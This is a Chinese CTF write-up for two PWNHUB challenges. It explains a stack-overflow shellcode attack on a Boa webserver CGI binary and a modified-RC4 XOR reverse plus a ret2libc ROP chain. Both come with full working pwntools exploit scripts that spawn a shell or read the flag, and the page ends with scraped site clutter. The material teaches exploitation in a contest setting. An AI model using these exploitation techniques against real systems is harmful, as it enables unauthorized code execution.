<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    PWNHUB 七月內部賽 babyboa、美好的異或 Writeup

    007bug2021-07-15 10:30:04

    這次的 PWNHUB 內部賽的兩道題目都不是常規題,babyboa 考察的是 Boa Webserver 的 cgi 文件的利用,美好的異或考察的則是通過逆向分析解密函數來構造棧溢出 ROP。兩道題目的考點都非常新穎,其中第一道題更是結合了 Web,值得大家復現學習。

     

    babyboa

    這道題的外表就是一個 Web 頁面


    但是實際上他的主要內容都在 cgi 文件中


    cgi 文件是使用靜態編譯的,這在線下比賽的題目中是非常常見的,所以學會如何還原靜態庫的符號信息非常重要,所以這里我們第一步先嘗試著還原靜態庫的符號信息。

    1.還原靜態庫的符號信息

    還原靜態庫的信息一般用的是 IDA 提供的 FLIRT,這是一種函數識別技術,即庫文件快速識別與鑒定技術(Fast Library Identification and Recognition Technology)。可以通過 sig 文件來讓 IDA 在無符號的二進制文件中識別函數特征,并且恢復函數名稱等信息,大大增加了代碼的可讀性,加快分析速度。

    而標準庫的 sig 文件也有現成制作好的,在 https://github.com/push0ebp/sig-database 中下載,并且把文件導入到 IDA/sig/pc 中就能夠使用,我這里為了快速找到我們導入的 sig 文件,將該文件夾中原有的文件都放到了 bak 目錄下,把我們猜測可能會用到的符號文件放置到目錄下


    導入后再在 IDA 中按 Shift + F5,打開“List of applied library modules”頁面


    然后再按 INS 并選擇要自動分析特征還原的靜態庫文件


    我這里測試多次后選擇的是 Ubuntu 16.04 libc6(2.23-0ubuntu6/amd64),如果你不知道靜態編譯使用的是哪個版本的庫文件,可以嘗試多導入幾個版本的文件進行測試。

    導入之后可以看到識別到了 623 個函數,并且大部分函數都有了名稱


    2.邏輯分析

    在 Web 頁面中輸入密碼可以抓到如下的包


    也就是實際上 Web 頁面就是用來向后端的 cgi 傳遞參數,并且在 cgi 中判斷密碼信息


    main 函數中分別判定了 REQUEST_METHOD 和 QUERY_STRING 是否正確,這兩個參數分別代表的是訪問的模式和傳遞的參數,在上面例子中應該是 GET 和 password=wjh。

    通過初步的判斷之后,就把參數的 127 字節復制到 bss 段上的一塊內容上,并且通過 handle 函數來處理參數信息。


    在這個函數中先把棧上的數據清 0,再把參數從第 9 位開始復制到棧上,從九位開始的原因是為了從 password=wjh 中取出 wjh 這個字符串用于判斷,因為這個才是 Web 中真正輸入的密碼信息。

    在棧上儲存參數信息的只有 0x80 個字節,但是在前面獲取參數的時候對長度沒有限制,所以我們只要在參數中避免\x00 ,就可以造成棧溢出來進行后續的利用。

    但是沒有\x00 想要構造出 ROP 實在是不能夠想象(因為地址中肯定會有\x00 數據),所以我這個時候對程序進行了 checksec


    發現在程序中的保護是全關的,并且在進入 handle 函數之前有復制我們傳入的參數到 bss 段上,這意味著我們只需要把返回地址修改為 bss 段上的參數,并且把這一段參數構成為沒有\x00 的 shellcode,就可以執行 shellcode 控制程序流程。

    3.漏洞利用

    有了上述的思想之后,我們只需要考慮的就是如何構造 shellcode,以及如何調試等這些細節上的問題。

    如何調試程序

    由于程序就是 amd64 架構的程序,所以我們實際上能夠直接的執行這個文件,但是由于我們沒有傳入參數的兩個環境變量,所以我們也無法成功進入 handle 函數流程。

    我這里使用的方法是直接 nop 掉 GET 參數的那部分判斷,然后 patch getenv(“QUERY_STRING”)為 read 函數,具體的匯編代碼如下。


    程序中的 .eh_frame 這段空間是有執行權限的,如果直接 patch 程序的字節不夠實現我們想要的功能,那么我們只需要直接在這段空間上寫匯編代碼,并且使想要 patch 的地方 call 這個地址即可,并且在修改之后返回到原來的位置。

    而且 getenv 函數是以 rax 作為返回的值,內容是一個指向返回數據的指針,所以我們自己寫的這個函數也需要實現這樣的一個功能,我隨便在 bss 段上找了一段空間,并且用 sys_read 讀取內容,經過這樣的修改我就可以成功的調試。

    如何編寫 shellcode

    這里的 shellcode 比起之前所遇到的一些 shellcode 編寫的題目要簡單的多,關鍵點就在于這里的 shellcode 只需要沒有\x00 即可,因為有了\x00 就會截斷 Web 數據包的后續內容,導致 BOA Web 服務器無法正常的解析。

    接下來只需要正常的編寫 shellcode 即可,一般可能會遇到\x00 的地方就是引用一個內存地址,由于地址常常是 0x400000 這樣的,最高的兩個字節是\x00。我這里用的方法是異或 0x01010101 來避免地址最高兩位的\x00。

    orw 部分的 shellcode 直接用 pwntools 生成即可,使用以下命令就可以自動的生成出代碼

    pwnlib.shellcraft.amd64.linux.cat("/flag")
    

    除了用 cat 的方法,也可以考慮使用反彈 shell 的方法,這樣的話也就不用考慮到 502 報錯的問題,因為不需要 flag 的回顯內容。

    為何 502 了

    回答這個問題的答案,就有些接近現實生活中的 PWN 的意味了,這也就是為了我需要專門寫 Writeup 來說明這道題目。這個問題是讓我糾結很久的一個問題,直到我下載了 BOA 的源碼查看,我找到了它報錯 502 的位置。


    這一段是 BOA 的源碼,我發現當他判斷 cgi 文件中沒有\n\r\n 或者\n\n 這樣的字符串的時候,就會報錯 502。

    而正常來說 cgi 文件中一定是會返回這樣的字符串的,所以會運行正常。但是在 cgi 文件發生異常退出的時候,并沒有把緩沖區中的數據進行輸出,常規的 pwn 題都會在題目中使用 setbuf 來設置緩沖區的長度為 0,使得程序可以實時輸出。而如果程序有緩沖區的話,直到緩沖區滿了或者執行_IO_fflush 才會把數據內容全部輸出。

    在常規的程序中,雖然沒有顯式的去調用_IO_flush,但是默認會使用 _libc_start_main 來啟動函數,而 exit 在_libc_start_main 中被自動調用,并且在 exit 又有去調用函數來檢查每個緩沖區中是否有內容,如果存在內容則輸出內容,所以這使得緩沖區的內容一定被輸出。


    綜上所述,我們需要在 shellcode 之后再加入一段代碼使其調用 exit 來正常的退出程序,使得緩沖區被輸出。

    4.EXP

    from pwn import *
    
    context.log_level = "debug"
    context.arch = "amd64"
    
    
    def test(payload):
        sh = remote('47.99.38.177', 20001)
        data = '''GET /cgi-bin/Auth.cgi?{0} HTTP/1.1
        Host: 47.99.38.177:20001
        Connection: keep-alive
        DNT: 1
        Upgrade-Insecure-Requests: 1
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
        Accept-Language: zh-CN,zh;q=0.9
    
    
        '''.format(payload)
        sh.send(data)
        sh.interactive()
    
    
    DEBUG = False
    exit_addr = 0x400e26
    shellcode_addr = 0x6D26C0
    shellcode = '''
    mov eax, 0x01410f27;
    xor eax, 0x01010101;
    jmp rax;
    '''
    shellcode = pwnlib.shellcraft.amd64.linux.cat("/flag") + shellcode
    shellcode = asm(shellcode).ljust(0x50, '\x90')
    payload = shellcode + 'a' * (0x91 - len(shellcode)) + '\xC0\x26\x6D'
    if DEBUG:
        sh = process('./Auth.cgi')
        gdb.attach(sh, "b *0x0000000000400AD5")
        sh.sendafter("charset:utf-8", payload)
        sh.interactive()
    else:
        test(payload)
    

    執行腳本之后 flag 存在于所有數據之前,這是因為直接通過 orw shellcode 輸出的 flag 數據不需要經過緩沖區,而其他數據在執行 exit 過程中才從緩沖區中輸出,這正印證了我們之前的想法。


     

    美好的異或

    這道題目其實考察的是 逆向算法 + 簡單的棧溢出


    識別加密函數

    可以先看看幾個函數分別干了什么





    其實看到這幾個函數,就可以大概猜到程序的加密是使用的魔改的 RC4 加密(把 RC4 加密中的 0x100 改為了 0x200)。

    識別 RC4 加密的關鍵實際上就在于它的初始化秘鑰代碼,也就是循環對 s[i]進行賦值,賦值的內容就是為 i,另一個特征就是他的交換過程中的計算出的下標(s[i] + k[i] + v1) % 0x100,只需要看到類似的交換代碼,就可以直接確定是 RC4 加密。

    但由于 RC4 加密的本質操作就是通過得到異或數據進行異或,所以我們實際上只需要動態調試得到異或的數據并記錄即可,在加解密的時候不需要考慮是什么加密,只需要對操作的內容進行異或。

    解密數據和校驗位


    下面這一段就是對內容進行異或運算,encode 函數經過混淆代碼非常的復雜,但是我們實際上通過前面的函數就可以猜測到這個函數的功能,也就是將數據進行異或。

    因為異或的數據是固定的,所以實際上這里傳入的數據如果全都是\x00,就可以直接得到異或的秘鑰,我覺得這里的實現是存在一定的問題的,這使得對代碼的分析實際并不必要,只需要提取出異或的內容即可。

    我這里編寫程序來提取出異或的數據

    #include <cstdio>
    #include <cstring>
    
    unsigned int sz[10];
    
    void rc4_init(unsigned int* s, unsigned char* key, unsigned long Len)
    {
        int i = 0, j = 0;
        unsigned char k[0x200] = { 0 };
        unsigned int tmp = 0;
        for (i = 0; i < 0x200; i++)
        {
            s[i] = i;
            k[i] = key[i % Len];
        }
        for (i = 0; i < 0x200; i++)
        {
            j = (j + s[i] + k[i]) % 0x200;
            tmp = s[i];
            s[i] = s[j];
            s[j] = tmp;
        }
    }
    
    void rc4_crypt(unsigned int* s, unsigned int* Data, unsigned long Len)
    {
        int i = 0, j = 0, t = 0;
        unsigned long k = 0;
        unsigned int tmp;
        for (k = 0; k < Len; k++)
        {
            i = (i + 1) % 0x200;
            j = (j + s[i]) % 0x200;
            tmp = s[i];
            s[i] = s[j];
            s[j] = tmp;
            t = (s[i] + s[j]) % 0x200;
            Data[k] ^= s[t];
        }
    }
    
    int main()
    {
        unsigned int s[0x200];
        unsigned char key[] = "freedomzrc4rc4jwandu123nduiandd9872ne91e8n3n27d91cnb9496cbaw7b6r9823ncr89193rmca879w6rnw45232fc465v2vt5v91m5vm0amy0789";
        int key_len = strlen((char *)key);
        for (int i = 0; key[i]; i++)
            key[i] = 6;
        rc4_init(s, key, key_len);
        rc4_crypt(s, sz, 10);
        for (int i = 0; i < 10; i++)
            printf("0x%02X, ", sz[i] % 0x100);
        return 0;
    }
    

    異或之后的內容,前八位是數據位,后兩位是校驗位。我們只需要根據程序的邏輯正向的推出數據的校驗位即可。

    漏洞利用

    異或之后賦值給棧上的數組,并且由于之前讀入的數據長度是 0xE0,計算后發現實際上超出了棧空間的大小,從而產生了棧溢出。由于程序沒有開 pie,所以這里就是 ret2csu + ret2libc 即可。直接在 bss 段上寫/bin/sh\x00,pop rdi 賦值 rdi 后,然后再調用 system 就可以 getshell。

    這里有個不清楚的問題就是如果我直接調用 plt 上的 system,本地可以直接打通,但是遠程會報錯。如果有師傅知道這個問題的原因麻煩指教一下,因此我這里最后是借助程序本身使用的 system 那段 gadget 來執行 system,發現可以正常執行。

    from pwn import *
    
    elf = None
    libc = None
    file_name = "./main"
    
    
    # context.timeout = 1
    
    
    def get_file(dic=""):
        context.binary = dic + file_name
        return context.binary
    
    
    def get_libc(dic=""):
        libc = None
        try:
            data = os.popen("ldd {}".format(dic + file_name)).read()
            for i in data.split('\n'):
                libc_info = i.split("=>")
                if len(libc_info) == 2:
                    if "libc" in libc_info[0]:
                        libc_path = libc_info[1].split(' (')
                        if len(libc_path) == 2:
                            libc = ELF(libc_path[0].replace(' ', ''), checksec=False)
                            return libc
        except:
            pass
        if context.arch == 'amd64':
            libc = ELF("/lib/x86_64-linux-gnu/libc.so.6", checksec=False)
        elif context.arch == 'i386':
            try:
                libc = ELF("/lib/i386-linux-gnu/libc.so.6", checksec=False)
            except:
                libc = ELF("/lib32/libc.so.6", checksec=False)
        return libc
    
    
    def get_sh(Use_other_libc=False, Use_ssh=False):
        global libc
        if args['REMOTE']:
            if Use_other_libc:
                libc = ELF("./libc.so.6", checksec=False)
            if Use_ssh:
                s = ssh(sys.argv[3], sys.argv[1], sys.argv[2], sys.argv[4])
                return s.process(file_name)
            else:
                return remote(sys.argv[1], sys.argv[2])
        else:
            return process(file_name)
    
    
    def get_address(sh, libc=False, info=None, start_string=None, address_len=None, end_string=None, offset=None,
                    int_mode=False):
        if start_string != None:
            sh.recvuntil(start_string)
        if libc == True:
            return_address = u64(sh.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
        elif int_mode:
            return_address = int(sh.recvuntil(end_string, drop=True), 16)
        elif address_len != None:
            return_address = u64(sh.recv()[:address_len].ljust(8, '\x00'))
        elif context.arch == 'amd64':
            return_address = u64(sh.recvuntil(end_string, drop=True).ljust(8, '\x00'))
        else:
            return_address = u32(sh.recvuntil(end_string, drop=True).ljust(4, '\x00'))
        if offset != None:
            return_address = return_address + offset
        if info != None:
            log.success(info + str(hex(return_address)))
        return return_address
    
    
    def get_flag(sh):
        sh.recvrepeat(0.1)
        sh.sendline('cat flag')
        return sh.recvrepeat(0.3)
    
    
    def get_gdb(sh, gdbscript=None, addr=0, stop=False):
        if args['REMOTE']:
            return
        if gdbscript is not None:
            gdb.attach(sh, gdbscript=gdbscript)
        elif addr is not None:
            text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(sh.pid)).readlines()[1], 16)
            log.success("breakpoint_addr --> " + hex(text_base + addr))
            gdb.attach(sh, 'b *{}'.format(hex(text_base + addr)))
        else:
            gdb.attach(sh)
        if stop:
            raw_input()
    
    
    def Attack(target=None, sh=None, elf=None, libc=None):
        if sh is None:
            from Class.Target import Target
            assert target is not None
            assert isinstance(target, Target)
            sh = target.sh
            elf = target.elf
            libc = target.libc
        assert isinstance(elf, ELF)
        assert isinstance(libc, ELF)
        try_count = 0
        while try_count < 3:
            try_count += 1
            try:
                pwn(sh, elf, libc)
                break
            except KeyboardInterrupt:
                break
            except EOFError:
                if target is not None:
                    sh = target.get_sh()
                    target.sh = sh
                    if target.connect_fail:
                        return 'ERROR : Can not connect to target server!'
                else:
                    sh = get_sh()
        flag = get_flag(sh)
        return flag
    
    
    def encode(data):
        all_data = ""
        for i in range(len(data) // 8):
            xor_data = [0x67, 0x3A, 0xDB, 0x9F, 0x21, 0x84, 0xDD, 0x24, 0x7C, 0x15]
            d = [ord(data[i * 8 + j]) for j in range(8)]
            s = ((d[7] + (d[6] << 8) + d[5] + (d[4] << 8) + d[3] + (d[2] << 8) + d[1] + (d[0] << 8)) >> 31) >> 24
            c = ((s + d[7] + d[5] + d[3] + d[1]) & 0xff - s + 0x100) & 0xff
            d = data[i * 8: (i + 1) * 8] + p16(c)
            all_data += ''.join(chr(ord(d[i]) ^ xor_data[i]) for i in range(10))
        return all_data
    
    
    def pwn(sh, elf, libc):
        context.log_level = "debug"
        pop_rdi_addr = 0x42cd13
        buf_addr = 0x68F2C0
        sh_data = '/bin/sh\x00\x7C\x71' * (0x68 // 8)
        # sh_data = 'sh\x00\x00\x00\x00\x00\x00\x7C\x8C' * (0x68 // 8)
        payload = p64(pop_rdi_addr) + p64(buf_addr) + p64(0x40099B)
        payload = sh_data + encode(payload)
        # gdb.attach(sh, "b *0x0000000000400B9D")
        sh.sendafter('enter:', payload)
        sh.interactive()
    
    
    if __name__ == "__main__":
        sh = get_sh()
        flag = Attack(sh=sh, elf=get_file(), libc=get_libc())
        sh.close()
        log.success('The flag is ' + re.search(r'flag{.+}', flag).group())
    

     

    總結

    這次的 babyboa 這道題目是我最接近現實生活中的漏洞利用的一次,也嘗試了像反彈 shell 這樣的操作。畢竟 CTF 中的 pwn 題目和現實生活中的二進制漏洞相差甚遠,通過這樣慢慢的嘗試和努力,希望可以讓我從做題走向現實生活這個大靶場,挖掘出真正的漏洞。

    異或amd64
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    這次的 PWNHUB 內部賽的兩道題目都不是常規題,babyboa 考察的是 Boa Webserver 的 cgi 文件的利用,美好的異或考察的則是通過逆向分析解密函數來構造棧溢出 ROP。兩道題目的考點都非常新穎,其中第一道題更是結合了 Web,值得大家復現學習。
    前置知識UAF,異或加密,hook利用版本新增保護介紹2.33版本的glibc不同于以往,對于堆塊地址的釋放之后,對于同一大小的fastbin以及tcache有效的fd永遠只有一個,剩余的bin照舊。對于2.33版本下對于fastbin以及tcache的fd指針會被進行異或操作加密,用來異或的值隨堆地址發生改變。
    綠城杯-WriteUp
    2021-09-30 06:44:41
    Pwnnull解題思路說是null 其實是off by one,基于uaf那題,這里直接試著打2.23,用的libc也是和uaf那題一樣的#?ezuaf解題思路遠程doublefree泄漏cfree后三位,配合mallochook地址通過libcdatabase確定2.23,然后打og#?
    BEServer - BattlEye服務器,收集上傳的信息,并判定作弊行為。本次分析的是BEDaisy,也就是BE內核驅動中的各種檢測。上傳的內容主要是一些黑名單特征,這些特征應該是從服務器下發的,因此可以在不重新編譯驅動的情況下,動態調整檢測的特征。沒有給定偏移量的特征,BE在檢測時會按子串匹配的方式嘗試所有位置進行匹配。
    VMPWN的入門系列-2
    2023-08-03 09:29:42
    解釋器是一種計算機程序,用于解釋和執行源代碼。與編譯器不同,解釋器不會將源代碼轉換為機器語言,而是直接執行源代碼。即,這個程序接收一定的解釋器語言,然后按照一定的規則對其進行解析,完成相應的功能,從本質上來看依然是一個虛擬機。總的來說,如果輸入字符數小于0x10,string類的大概成員應該如下struct?
    VMPWN的入門系列-1
    2023-07-27 09:45:00
    今天的文章有點長,圖片比較多,請耐心閱讀5.1 實驗一 VMPWN15.1.1 題目簡介這是一道基礎的VM相關題目,VMPWN的入門級別題目。
    MTCTF-2022 部分WriteUp
    2022-11-23 09:35:37
    MTCTF 本次比賽主力輸出選手Article&Messa&Oolongcode,累計解題3Web,2Pwn,1Re,1CryptoWeb★easypickle題目給出源碼:。import base64import picklefrom flask import Flask, sessionimport osimport random. @app.route('/')def hello_world(): if not session.get: session['user'] = ''.join return 'Hello {}!\x93作用同c,但是將從stack中出棧兩元素分別導入的模塊名和屬性名:此外對于藍帽杯WP還存在一個小問題,原題采用_loads函數加載pickle數據但本題是loads,在opcodes處理上會有些微不通具體來說就是用loads加載時會報錯誤如下:對著把傳入參數換成元組就行,最終的payload如下
    前言本文主要著眼于glibc下的一些漏洞及利用技巧和IO調用鏈,由淺入深,分為 “基礎堆利用漏洞及基本IO攻擊” 與 “高版本glibc下的利用” 兩部分來進行講解,前者主要包括了一些glibc相關的基礎知識,以及低版本glibc下常見的漏洞利用方式,后者主要涉及到一些較新的glibc下的IO調用鏈。
    有些師傅可能看到這個名字有些陌生,但實際上這已經是一個很早以前就出現的利用方法了,一直適用到最新的 GLIBC 中。
    ByteCTF-WriteUp
    2021-10-19 06:38:36
    /files../路由發現了目錄穿越,在/var/lib/clickhouse/access/找到.sql文件,可以看到user_01用戶名密碼。
    007bug
    暫無描述
      亚洲 欧美 自拍 唯美 另类